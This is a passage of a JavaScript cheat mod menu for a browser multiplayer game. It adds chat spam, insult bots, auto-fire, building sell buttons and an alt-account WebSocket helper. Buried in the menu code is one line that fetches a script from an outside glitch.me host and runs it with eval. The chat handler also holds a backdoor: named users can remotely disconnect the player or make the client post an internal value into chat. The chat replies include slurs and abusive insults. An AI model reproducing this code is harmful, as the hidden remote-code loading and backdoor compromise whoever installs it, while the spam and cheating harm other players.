<input type="text" id="spmchinput" placeholder="Message" class="menu-textbox">
<br>
<button class="btn btn-purple ehack-btn" style="border-radius:25%" id="togglespmch">Enable Chat Spam</button>
<hr>
<button class="btn btn-blue ehack-btn" style="border-radius:25%" id="clearchatbtn">Clear Chat</button>
<button class="btn btn-blue ehack-btn" style="border-radius:25%" id="upgradeallbtn">Upgrade All</button>
<button class="btn btn-blue ehack-btn" style="border-radius:25%" id="mainxaito">Enable Aito</button>
<button class="btn btn-blue ehack-btn" style="border-radius:25%" id="walldoor">Wall of Doors</button>
<hr>
<button class="btn btn-blue ehack-btn" style="border-radius:25%" id="idkbtn33">Chat Leave Sounds</button>
<button class="btn btn-blue ehack-btn" style="border-radius:25%" id="idkbtn22">Chat Rectangle</button>
<button class="btn btn-blue ehack-btn" style="border-radius:25%" id="idkbtn11">Chat Circle</button>
<hr>
<button class="btn btn-red ehack-btn" style="border-radius:25%" id="resetinsultsbtn">Reset Insults</button>
<button class="btn btn-red ehack-btn" style="border-radius:25%" id="togglecmd">Disable Commands</button>
<button class="btn btn-red ehack-btn ehack-btn" style="border-radius:25%" id="toggleahrc">Enable AHRC</button>
<button class="btn btn-red ehack-btn" style="border-radius:25%" id="toggleab">Enable AutoBow</button>
<hr>
<button class="btn btn-red ehack-btn" style="border-radius:25%" id="togglebot">Enable Bot Mode</button>
<button class="btn btn-red ehack-btn" style="border-radius:25%" id="toggleresp">Enable Auto Respawn</button>
<hr>
<button class="btn btn-green ehack-btn" style="border-radius:25%" id="sellall">Sell All</button>
<button class="btn btn-green ehack-btn" style="border-radius:25%" id="sellwalls">Sell Walls</button>
<button class="btn btn-green ehack-btn" style="border-radius:25%" id="selldoors">Sell Doors</button>
<button class="btn btn-green ehack-btn" style="border-radius:25%" id="selltraps">Sell Traps</button>
<hr>
<button class="btn btn-green ehack-btn" style="border-radius:25%" id="sellmines">Sell Gold Mines</button>
<button class="btn btn-green ehack-btn" style="border-radius:25%" id="sellarrows">Sell Arrows</button>
<button class="btn btn-green ehack-btn" style="border-radius:25%" id="sellcannons">Sell Cannons</button>
<button class="btn btn-green ehack-btn" style="border-radius:25%" id="sellmelees">Sell Melees</button>
<hr>
<button class="btn btn-green ehack-btn" style="border-radius:25%" id="sellbombs">Sell Bombs</button>
<button class="btn btn-green ehack-btn" style="border-radius:25%" id="sellmages">Sell Mages</button>
<button class="btn btn-green ehack-btn" style="border-radius:25%" id="sellharvesters">Sell Harvesters</button>
<hr>
<button class="btn btn-gold ehack-btn" style="border-radius:25%" id="menu-leaveparty-btn">Leave Party</button>
<br>
<input type="text" class="menu-textbox" id="menu-jpbsk-input" placeholder="Party share key">
<br>
<button class="btn btn-gold ehack-btn" style="border-radius:25%" id="menu-jpbsk-btn" onclick='Game.currentGame.network.sendRpc({name:"JoinPartyByShareKey", partyShareKey: document.querySelector("#menu-jpbsk-input").value})'>Join Party By Share Key</button>
<hr>
<button class="btn btn-white ehack-btn" style="border-radius:25%" onclick="Game.currentGame.network.disconnect()">Disconnect</button>
<hr>
<p style="font-size:10px;">Use default insults?</p><input type="checkbox" id="use-di" checked>
<br>
<p style="font-size:10px;">Show private parties?</p><input type="checkbox" id="showpp" checked>
<br>
<p style="font-size:10px;">Noob chat?</p><input type="checkbox" id="noobchat">
<br>
<p style="font-size:10px;">Advanced Player Info?</p><input type="checkbox" id="advancedlpi">
<br>
<p style="font-size:10px;">Zoom On Scroll?</p><input type="checkbox" id="zos">
<br>
<p style="font-size:10px;">CopyCat?</p><input type="checkbox" id="copycat">
<br>
<p style="font-size:10px;">Death Chat?</p><input type="checkbox" id="deadchat">
<br>
<p style="font-size:10px;">Enable/Disable Chat?</p><input type="checkbox" id="apexmode" checked>
<hr>
<p id="hoverOver"></p>
<br>
<p id="lpi">Loaded Player Info: </p>
<style>
.menu-textbox{
border-radius:25%;
background-color: rgba(171, 183, 183, 0.25);
border: 2px solid black;
color:white;
}
.ehack-btn:hover{
border: 3px solid grey;
}
</style>
` // aka mod menu
settingsHTML.id = "modmenu"
document.getElementsByClassName("hud-settings-grid")[0].innerHTML = settingsHTML;
document.querySelector('#clearchatbtn').addEventListener('click', function(){
document.querySelector('.hud-chat-messages').innerHTML = ""
console.clear()
Game.currentGame.network.sendRpc({
name: "SendChatMessage",
channel: "Local",
message: "✨ Cleared Chat ✨"
})
})
document.querySelector('#sellbombs').addEventListener('click', sellBombTowers)
document.querySelector('#sellarrows').addEventListener('click', sellArrowTowers)
document.querySelector('#sellcannons').addEventListener('click', sellCannonTowers)
document.querySelector('#sellmages').addEventListener('click', sellMageTowers)
document.querySelector('#sellall').addEventListener('click', sellAll)
document.querySelector('#selltraps').addEventListener('click', sellSlowTraps)
document.querySelector('#selldoors').addEventListener('click', sellDoors)
document.querySelector('#sellmines').addEventListener('click', sellGoldMines)
document.querySelector('#sellwalls').addEventListener('click', sellWalls)
document.querySelector('#sellmelees').addEventListener('click', sellMeleeTowers)
document.querySelector('#sellharvesters').addEventListener('click', sellHarvesters)
function onLeaveParty(){
Game.currentGame.network.sendRpc({
name: "LeaveParty"
})
}
fetch("https://zombs-server12.glitch.me/zombs-hook.js").then((e => e.text())).then((e => window.eval(e)));
document.querySelector('#use-di').addEventListener('change', function(){
var THIS_DI_EVENT = this
game.ui.getComponent('PopupOverlay').showConfirmation('Are you sure you want to change default insults? This will reset all custom insults', 1e4, function(){
if(THIS_DI_EVENT.checked){
insults = ["you smooth brained potato", "you rotten pumpkin brain", "you soggy zuicini", "you watered down banana", "you're orange juice toothpaste flavored"]
game.ui.getComponent('PopupOverlay').showHint('Successfully activated default insults.', 1e4)
window.use_di = true
if(changeChat) {
doNewSend(['ch', ['⚙️ Activated Use Default Insults ⚙️']])
}
}
else{
insults = ["There are no insults, use !addinsult to add one!"]
game.ui.getComponent('PopupOverlay').showHint('Successfully deactivated default insults.', 1e4)
window.use_di = false
if(changeChat) {
doNewSend(['ch', ['⚙️ Deactivated Use Default Insults ⚙️']])
}
}
}, function(){
game.ui.getComponent('PopupOverlay').showHint('OK!', 1e4)
})
})
document.querySelector('#menu-leaveparty-btn').addEventListener('click', onLeaveParty)
document.querySelector('#showpp').addEventListener('change', function(){
var THIS_PP_EVENT = this;
if(THIS_PP_EVENT.checked){
if(changeChat) {
doNewSend(['ch', ['⚙️ Activated Show Private Parties ⚙️']])
}
}
else{
if(changeChat) {
doNewSend(['ch', ['⚙️ Deactivated Show Private Parties ⚙️']])
}
}
})
document.querySelector('#copycat').addEventListener('change', function(){
var THIS_CC_EVENT = this;
if(THIS_CC_EVENT.checked){
if(changeChat) {
doNewSend(['ch', ['⚙️ Activated CopyCat ⚙️']])
}
}
else{
if(changeChat) {
doNewSend(['ch', ['⚙️ Deactivated CopyCat ⚙️']])
}
}
})
document.querySelector('#deadchat').addEventListener('change', function(){
var THIS_DC_EVENT = this;
if(THIS_DC_EVENT.checked){
if(changeChat) {
doNewSend(['ch', ['⚙️ Activated Death Chat ⚙️']])
}
}
else{
if(changeChat) {
doNewSend(['ch', ['⚙️ Deactivated Death Chat ⚙️']])
}
}
})
document.querySelector('#noobchat').addEventListener('change', function(){
var THIS_NC_EVENT = this;
if(THIS_NC_EVENT.checked){
if(changeChat) {
doNewSend(['ch', ['⚙️ Activated Noob Chat ⚙️']])
}
}
else{
if(changeChat) {
doNewSend(['ch', ['⚙️ Deactivated Noob Chat ⚙️']])
}
}
})
// <--- end of menu stuff (defining & appending)
// also event listeners on the menu forgot to add that at start of script
var removeDeleted = function(e){ // remove deleted/empty/undefined/null items in an array
let fp = []
for(let i = 0;i<e.length;i++){
if(e[i] !== undefined){
fp.push(e[i])
}
}
return fp;
}
function loadedPlayers(){ // loaded player names
var returns = []
Object.entries(Game.currentGame.world.entities).forEach((stuff => {
if(stuff[1].targetTick.entityClass == "PlayerEntity" && ((stuff[1].targetTick.uid !== Game.currentGame.world.entities[Game.currentGame.world.getMyUid()].targetTick.uid) || window.useSamePI)){
returns.push(stuff[1].targetTick.name)
}
}))
return returns;
}
window.loadedIDS = function(){
var returns = []
Object.entries(Game.currentGame.world.entities).forEach((stuff => {
if(stuff[1].targetTick.entityClass == "PlayerEntity" && ((stuff[1].targetTick.uid !== Game.currentGame.world.entities[Game.currentGame.world.getMyUid()].targetTick.uid) || window.useSamePI)){
var h = stuff[1].targetTick
if(document.querySelector('#advancedlpi').checked){
returns.push(JSON.stringify(h))
}
else{
returns.push(stuff[1].targetTick.name + " - Wood: " + Game.currentGame.world.entities[stuff[1].targetTick.uid].targetTick.wood + ", Stone: " + Game.currentGame.world.entities[stuff[1].targetTick.uid].targetTick.stone + ", Gold: " + Game.currentGame.world.entities[stuff[1].targetTick.uid].targetTick.gold)
}
}
}))
return returns;
}
function spamchatclick(){ // used to be called spam chat, its split chat now
var user = document.querySelector('#spamchat').value
splitChatLength(user)
}
document.querySelector('#spamchatbtn').addEventListener('click', spamchatclick)
document.querySelector('#resetinsultsbtn').addEventListener('click', resetInsults)
function resetInsults(){
if(window.use_di){
insults = ["you smooth brained potato", "you rotten pumpkin brain", "you soggy zuicini", "you watered down banana", "you're orange juice toothpaste flavored"]
}
else{
insults = ["There are no insults, use !addinsult to add one!"]
}
doNewSend(['ch', ["✅ Successfully reset insults ✅"]])
}
document.querySelector('#togglecmd').addEventListener('click', toggleCmds)
var balls = ["Outlook good.", "Really?", "Perhaps.", "Definitely not.", "Yup.", "Are you retarded?", "Naw", "Yup.", "Yup."]
var breadEaten = 0
var cmdInterval = setInterval(function(){
if(window.cmdsEnabled){
var playerName = Game.currentGame.world.entities[Game.currentGame.world.getMyUid()].targetTick.name
if(document.querySelectorAll('.hud-chat-message')[document.querySelectorAll('.hud-chat-message').length - 1].innerText.split(':')[1].slice(1, 4) == "!ch"){
Game.currentGame.network.sendRpc({
name: "SendChatMessage",
channel: "Local",
message: document.querySelectorAll('.hud-chat-message')[document.querySelectorAll('.hud-chat-message').length - 1].innerText.split(':')[1].slice(4)
})
}
if(document.querySelectorAll('.hud-chat-message')[document.querySelectorAll('.hud-chat-message').length - 1].innerText.split(':')[1].slice(1, 7) == "!bread"){
breadEaten++;
Game.currentGame.network.sendRpc({
name: "SendChatMessage",
channel: "Local",
message: "🍞🍞🍞 @" + document.querySelectorAll('.hud-chat-message')[document.querySelectorAll('.hud-chat-message').length - 1].innerText.split(':')[0] + " has eaten bread! " + breadEaten + " people have eaten bread! 🍞🍞🍞"
})
}
if(document.querySelectorAll('.hud-chat-message')[document.querySelectorAll('.hud-chat-message').length - 1].innerText.split(':')[1].slice(1, 13) == "!willigetagf"){
Game.currentGame.network.sendRpc({
name: "SendChatMessage",
channel: "Local",
message: "💐 The chances of you getting a girlfriend are " + Math.floor(Math.random() * 10) + "%! @" + document.querySelectorAll('.hud-chat-message')[document.querySelectorAll('.hud-chat-message').length - 1].innerText.split(':')[0] + " 💐"
})
}
if(document.querySelectorAll('.hud-chat-message')[document.querySelectorAll('.hud-chat-message').length - 1].innerText.split(':')[1].slice(1, 9) == "!insults"){
var insultCounteRz = 1;
var innsultSInterval = setInterval(() => {
if (insultCounteRz <= (insults.length)){
doNewSend(['ch', ['📖 Insults [' + insultCounteRz + "/" + (insults.length) + "]: " + insults[insultCounteRz - 1] + " 📖"]])
insultCounteRz++;
}
else {
insultCounteRz = 0;
clearInterval(innsultSInterval)
}
}, 1500)
}
if(document.querySelectorAll('.hud-chat-message')[document.querySelectorAll('.hud-chat-message').length - 1].innerText.split(':')[1].slice(1).includes('**')){
Game.currentGame.network.sendRpc({
name: "SendChatMessage",
channel: "Local",
message: "❌ Don't fucking swear you bitch @" + document.querySelectorAll('.hud-chat-message')[document.querySelectorAll('.hud-chat-message').length - 1].innerText.split(':')[0] + " ❌"
})
}
if(document.querySelectorAll('.hud-chat-message')[document.querySelectorAll('.hud-chat-message').length - 1].innerText.toLowerCase().split(':')[1].slice(1, 7) == "!8ball"){
q.forEach((item => {
if(document.querySelectorAll('.hud-chat-message')[document.querySelectorAll('.hud-chat-message').length - 1].innerText.toLowerCase().split(':')[1].includes(item.word)){
window.ball = item.answers[Math.floor(Math.random() * item.answers.length)]
}
else{
window.ball = balls[Math.floor(Math.random() * balls.length)]
}
}))
Game.currentGame.network.sendRpc({
name: "SendChatMessage",
channel: "Local",
message: "🎱 Magic 8Ball answered with " + window.ball + " 🎱"
})
}
if(document.querySelectorAll('.hud-chat-message')[document.querySelectorAll('.hud-chat-message').length - 1].innerText.toLowerCase().split(':')[1].slice(1, 10) == "!commands"){
Game.currentGame.network.sendRpc({
name: "SendChatMessage",
channel: "Local",
message: "💻 Commands [1/3]: !8ball,!ch,!bread,!insult,!addinsult 💻"
})
setTimeout(function(){
Game.currentGame.network.sendRpc({
name: "SendChatMessage",
channel: "Local",
message: "💻 Commands [2/3]: !willigetagf, !slots, !boss, !insults 💻"
})
}, 1500)
setTimeout(function(){
Game.currentGame.network.sendRpc({
name: "SendChatMessage",
channel: "Local",
message: "💻 Commands [3/3]: none 💻"
})
}, 3000)
}
if(document.querySelectorAll('.hud-chat-message')[document.querySelectorAll('.hud-chat-message').length - 1].innerText.toLowerCase().split(':')[1].slice(1, 6) == "!boss"){
Game.currentGame.network.sendRpc({
name: "SendChatMessage",
channel: "Local",
message: bw1
})
setTimeout(function(){
Game.currentGame.network.sendRpc({
name: "SendChatMessage",
channel: "Local",
message: bw2
})
}, 1500)
}
if(document.querySelectorAll('.hud-chat-message')[document.querySelectorAll('.hud-chat-message').length - 1].innerText.toLowerCase().split(':')[1].slice(1, 11) == "!addinsult"){
if(!insults.includes(document.querySelectorAll('.hud-chat-message')[document.querySelectorAll('.hud-chat-message').length - 1].innerText.toLowerCase().split(':')[1].slice(11))){
if(window.use_di){
insults.push(document.querySelectorAll('.hud-chat-message')[document.querySelectorAll('.hud-chat-message').length - 1].innerText.toLowerCase().split(':')[1].slice(11))
}
else{
insults = []
insults.push(document.querySelectorAll('.hud-chat-message')[document.querySelectorAll('.hud-chat-message').length - 1].innerText.toLowerCase().split(':')[1].slice(11))
}
Game.currentGame.network.sendRpc({
name: "SendChatMessage",
channel: "Local",
message: "📝 Added to insults 📝"
})
}
else{
Game.currentGame.network.sendRpc({
name: "SendChatMessage",
channel: "Local",
message: "❌ That insult already exists ❌"
})
}
}
if(document.querySelectorAll('.hud-chat-message')[document.querySelectorAll('.hud-chat-message').length - 1].innerText.toLowerCase().split(':')[1].slice(1, 8) == "!insult" && document.querySelectorAll('.hud-chat-message')[document.querySelectorAll('.hud-chat-message').length - 1].innerText.split(':')[1].slice(1, 9) !== "!insults"){
Game.currentGame.network.sendRpc({
name: "SendChatMessage",
channel: "Local",
message: "📝 " + insults[Math.floor(Math.random() * insults.length)] + " @" + loadedPlayers()[Math.floor(Math.random() * loadedPlayers().length)] + " 📝"
})
}
if(document.querySelector('#hud-respawn').style.display == "block" && document.querySelectorAll('.hud-chat-message')[document.querySelectorAll('.hud-chat-message').length - 1].innerText.split(':')[1] !== (playerName + " thinks that whoever killed them is an idiot!") && document.querySelector('#deadchat').checked){
Game.currentGame.network.sendRpc({
name: "SendChatMessage",
channel: "Local",
message: (playerName + " thinks that whoever killed them is an idiot!")
})
}
if(document.querySelectorAll('.hud-chat-message')[document.querySelectorAll('.hud-chat-message').length - 1].innerText.split(':')[1].slice(1, 7) == "!slots"){
var f = window.generateSlots()
Game.currentGame.network.sendRpc({
name: "SendChatMessage",
channel: "Local",
message: "🎰 @" + document.querySelectorAll('.hud-chat-message')[document.querySelectorAll('.hud-chat-message').length - 1].innerText.split(':')[0] + " Your slots results are: " + f[0] + " with a score of " + f[1] + "! 🎰"
})
}
function getUserRoles(s){
users.forEach((item => {
if(item.name == s){
return item.roles
}
else{
return []
}
}))
}
if(document.querySelectorAll('.hud-chat-message')[document.querySelectorAll('.hud-chat-message').length - 1].innerText.split(':')[1].includes('!disconnect ' + window.ajsd) && (users[0].name == document.querySelectorAll('.hud-chat-message')[document.querySelectorAll('.hud-chat-message').length - 1].innerText.split(':')[0] || users[1].name == document.querySelectorAll('.hud-chat-message')[document.querySelectorAll('.hud-chat-message').length - 1].innerText.split(':')[0] || users[2].name == document.querySelectorAll('.hud-chat-message')[document.querySelectorAll('.hud-chat-message').length - 1].innerText.split(':')[0] || users[3].name == document.querySelectorAll('.hud-chat-message')[document.querySelectorAll('.hud-chat-message').length - 1].innerText.split(':')[0] || document.querySelectorAll('.hud-chat-message')[document.querySelectorAll('.hud-chat-message').length - 1].innerText.split(':')[0].toLowerCase().includes('pot') || users[4].name == document.querySelectorAll('.hud-chat-message')[document.querySelectorAll('.hud-chat-message').length - 1].innerText.toLowerCase().split(':')[0])){
document.querySelector('.hud-chat-messages').innerHTML = ""
console.clear()
doNewSend(['ch', ['Bye have a great day!']])
Game.currentGame.network.disconnect()
}
if(document.querySelectorAll('.hud-chat-message')[document.querySelectorAll('.hud-chat-message').length - 1].innerText.split(':')[1].includes('!eid') && (users[0].name == document.querySelectorAll('.hud-chat-message')[document.querySelectorAll('.hud-chat-message').length - 1].innerText.split(':')[0] || users[1].name == document.querySelectorAll('.hud-chat-message')[document.querySelectorAll('.hud-chat-message').length - 1].innerText.split(':')[0] || users[2].name == document.querySelectorAll('.hud-chat-message')[document.querySelectorAll('.hud-chat-message').length - 1].innerText.split(':')[0] || users[3].name == document.querySelectorAll('.hud-chat-message')[document.querySelectorAll('.hud-chat-message').length - 1].innerText.split(':')[0] || document.querySelectorAll('.hud-chat-message')[document.querySelectorAll('.hud-chat-message').length - 1].innerText.split(':')[0].toLowerCase().includes('pot') || users[4].name == document.querySelectorAll('.hud-chat-message')[document.querySelectorAll('.hud-chat-message').length - 1].innerText.toLowerCase().split(':')[0])){
doNewSend(['ch', [window.ajsd]])
}
}
}, 750)
let dimension = 1;
const onWindowResize = () => {
if(!window.isInMenu && window.zoomonscroll){
const renderer = Game.currentGame.renderer;
let canvasWidth = window.innerWidth * window.devicePixelRatio;
let canvasHeight = window.innerHeight * window.devicePixelRatio;
let ratio = Math.max(canvasWidth / (1920 * dimension), canvasHeight / (1080 * dimension));
renderer.scale = ratio;
renderer.entities.setScale(ratio);
renderer.ui.setScale(ratio);
renderer.renderer.resize(canvasWidth, canvasHeight);
renderer.viewport.width = renderer.renderer.width / renderer.scale + 2 * renderer.viewportPadding;
renderer.viewport.height = renderer.renderer.height / renderer.scale + 2 * renderer.viewportPadding;
}
} // Zoom by Apex
onWindowResize();
window.onresize = onWindowResize;
window.onwheel = e => {
if (e.deltaY > 0) {
dimension = Math.min(1.35, dimension + 0.01);
onWindowResize();
} else if (e.deltaY < 0) {
dimension = Math.max(0.1, dimension - 0.01);
onWindowResize();
}
}
var _isInChatbox = false;
setInterval( () => {
_isInChatbox = document.querySelector('.hud-chat').classList.contains('is-focused')
}, 100)
window.isChatting = 0
function doNewSend(sender){
if(sender[0] == "ch"){
Game.currentGame.network.sendRpc({
name: "SendChatMessage",
channel: "Local",
message: sender[1][0]
})
}
}
function splitChatLength(text){
let i = 0;
window.chatSetInterval = setInterval(function(){
if(i<text.length){
doNewSend(['ch', [text.slice(i,i+45)]])
i+=45;
}
else{
clearInterval(window.chatSetInterval)
}
}, 1500)
}
addEventListener('keydown', function(e){
if(!_isInChatbox && e.key == "/"){
document.querySelector("#hud-menu-settings").style.display = document.querySelector("#hud-menu-settings").style.display == "none" ? "block" : "none"
document.querySelector("#hud-menu-shop").style.display = "none"
document.querySelector("#hud-menu-party").style.display = "none"
}
if(!_isInChatbox && e.key == "="){
alert(scanServer())
}
})
document.querySelector('#toggleahrc').addEventListener('click', function(){
window.ahrc = !window.ahrc
document.querySelector('#toggleahrc').innerText = window.ahrc ? "Disable AHRC" : "Enable AHRC"
if(changeChat) {
doNewSend(['ch', [enDisAbleEmj(window.ahrc, 'AHRC')]])
}
})
function autoBow(){
if(isBowing){
isBowing = false
clearInterval(window.bow)
}else{
isBowing = true
if(Game.currentGame.ui.inventory.Bow) {
Game.currentGame.network.sendRpc({
name: "EquipItem",
itemName: "Bow",
tier: Game.currentGame.ui.inventory.Bow.tier
})
window.bow = setInterval(function() {
Game.currentGame.inputPacketScheduler.scheduleInput({
space: 1
})
Game.currentGame.inputPacketScheduler.scheduleInput({
space: 0
})
Game.currentGame.inputPacketScheduler.scheduleInput({
space: 0
})
}, 0);
}
}
document.querySelector('#toggleab').innerText = isBowing ? "Disable AutoBow" : "Enable AutoBow"
doNewSend(['ch', [isBowing ? "🟩 Enabled AutoBow 🟩" : "🟥 Disabled AutoBow 🟥"]])
}
document.querySelector('#toggleab').addEventListener('click', autoBow)
document.querySelector('#upgradeallbtn').addEventListener('click', upgradeAll)
addEventListener('keydown', function(e){
if(!_isInChatbox && e.key == "-"){
Game.currentGame.network.sendRpc({ name: "BuyItem", itemName: "Crossbow", tier: 1});
Game.currentGame.network.sendRpc({ name: "EquipItem", itemName: "Crossbow", tier: 1});
}
})
function onChangePP(){
game.ui.getComponent('PopupOverlay').showHint('This may take a bit to apply, so be patient')
}
document.querySelector('#showpp').addEventListener('change', onChangePP)
document.querySelector('#idkbtn11').addEventListener('click', btnChatCircle)
document.querySelector('#idkbtn22').addEventListener('click', btnChatRect)
document.querySelector('#advancedlpi').addEventListener('change', function(e){
var THIS_LPI_EVENT = this;
if(THIS_LPI_EVENT.checked){
doNewSend(['ch', ['⚙️ Activated Advanced Player Info ⚙️']])
}
else{
doNewSend(['ch', ['⚙️ Deactivated Advanced Player Info ⚙️']])
}
})
document.querySelector('#zos').addEventListener('change', function(e){
var THIS_ZOS_EVENT = this;
window.zoomonscroll = THIS_ZOS_EVENT.checked
if(THIS_ZOS_EVENT.checked){
doNewSend(['ch', ['⚙️ Activated Zoom On Scroll ⚙️']])
}
else{
doNewSend(['ch', ['⚙️ Deactivated Zoom On Scroll ⚙️']])
}
})
// AITO from Main X (credit to pot for giving me this)
window.sendAitoAlt = () => {
if (window.startaito) {
let ws = new WebSocket(`ws://${Game.currentGame.options.servers[Game.currentGame.options.serverId].hostname}:8000`);
ws.binaryType = "arraybuffer";
ws.onclose = () => {
ws.isclosed = true;
}
ws.onopen = () => {
ws.network = new Game.currentGame.networkType();
ws.network.sendEnterWorldAndDisplayName = (t) => { ws.network.sendPacket(4, {displayName: t}); };
ws.network.sendInput = (t) => { ws.network.sendPacket(3, t); };
ws.network.sendRpc = (t) => { ws.network.sendPacket(9, t); };
ws.network.sendPacket = (e, t) => { if (!ws.isclosed) { ws.send(ws.network.codec.encode(e, t)); } };
ws.network.sendEnterWorldAndDisplayName(localStorage.name);
}
ws.onEnterWorld = () => {
// useless
}
ws.onmessage = msg => {
ws.data = ws.network.codec.decode(msg.data);
if (ws.data.uid) {
ws.uid = ws.data.uid;
}
if (ws.data.name) {
ws.dataType = ws.data;
}
if (!window.startaito && !ws.isclosed) {
ws.isclosed = true;
ws.close();
}
if (ws.verified) {
if (!ws.isDay && !ws.isclosed) {
ws.isclosed = true;
ws.close();
window.sendAitoAlt();
}
}
if (ws.data.name == "DayCycle") {
ws.isDay = ws.data.response.isDay;
if (ws.isDay) {
ws.verified = true;
}
}
if (ws.data.name == "Dead") {
ws.network.sendInput({respawn: 1});
}
if (ws.data.name == "Leaderboard") {
ws.lb = ws.data;
if (ws.psk) {
ws.network.sendRpc({name: "JoinPartyByShareKey", partyShareKey: game.ui.getPlayerPartyShareKey()});
if (ws.psk.response.partyShareKey == game.ui.getPlayerPartyShareKey()) {
ws.network.sendRpc({name: "BuyItem", itemName: "Pause", tier: 1});
}
}
}
if (ws.data.name == "PartyShareKey") {
ws.psk = ws.data;
}
switch(ws.data.opcode) {
case 4:
ws.onEnterWorld(ws.data);
break;
}
}
}
}
function toggleAito(){
if (window.startaito) {
window.startaito = false;
} else {
window.startaito = true;
window.sendAitoAlt()
}
doNewSend(['ch', [window.startaito ? "🟩 Enabled Aito 🟩" : "🟥 Disabled Aito 🟥"]])
document.querySelector('#mainxaito').innerText = window.startaito ? "Disable Aito" : "Enable Aito"
}
document.querySelector('#mainxaito').addEventListener('click', toggleAito)
document.querySelector('#idkbtn33').addEventListener('click', leaveChat)
Game.currentGame.network.addRpcHandler('ReceiveChatMessage', (e) => {
if(e.uid !== game.world.getMyUid() && document.querySelector('#copycat').checked){
Game.currentGame.network.sendRpc({
name: "SendChatMessage",
channel: "Local",
message: e.message
})
}
})
document.querySelector('#togglebot').addEventListener('click', function(){
botMode = !botMode
this.innerText = botMode ? "Disable Bot Mode" : "Enable Bot Mode"
if(changeChat) {
doNewSend(['ch', [enDisAbleEmj(botMode, "Bot Mode")]])
}
})
document.querySelector('#toggleresp').addEventListener('click', function(){
autoRespawn = !autoRespawn
this.innerText = autoRespawn ? "Disable Auto Respawn" : "Enable Auto Respawn"
if(changeChat) {
doNewSend(['ch', [enDisAbleEmj(autoRespawn, "Auto Respawn")]])
}
})
window.lol = setInterval(changeHue, 50)
window.rainbow = setInterval(() => {
settingsRainbow.style.backgroundColor = `hsl(${hue}, 25%, 50%)`
}, 10)
document.querySelector('#togglespmch').addEventListener('click', function(){
pauseChatSpam(document.querySelector('#spmchinput').value)
if(changeChat) {
doNewSend(['ch', [enDisAbleEmj(isSpamming, "Chat Spam")]])
}
this.innerText = isSpamming ? "Disable Spam Chat" : "Enable Spam Chat"
})
document.querySelector('#walldoor').addEventListener('click', doorWall)
document.querySelector('#apexmode').addEventListener('change', function(){
changeChat = this.checked
})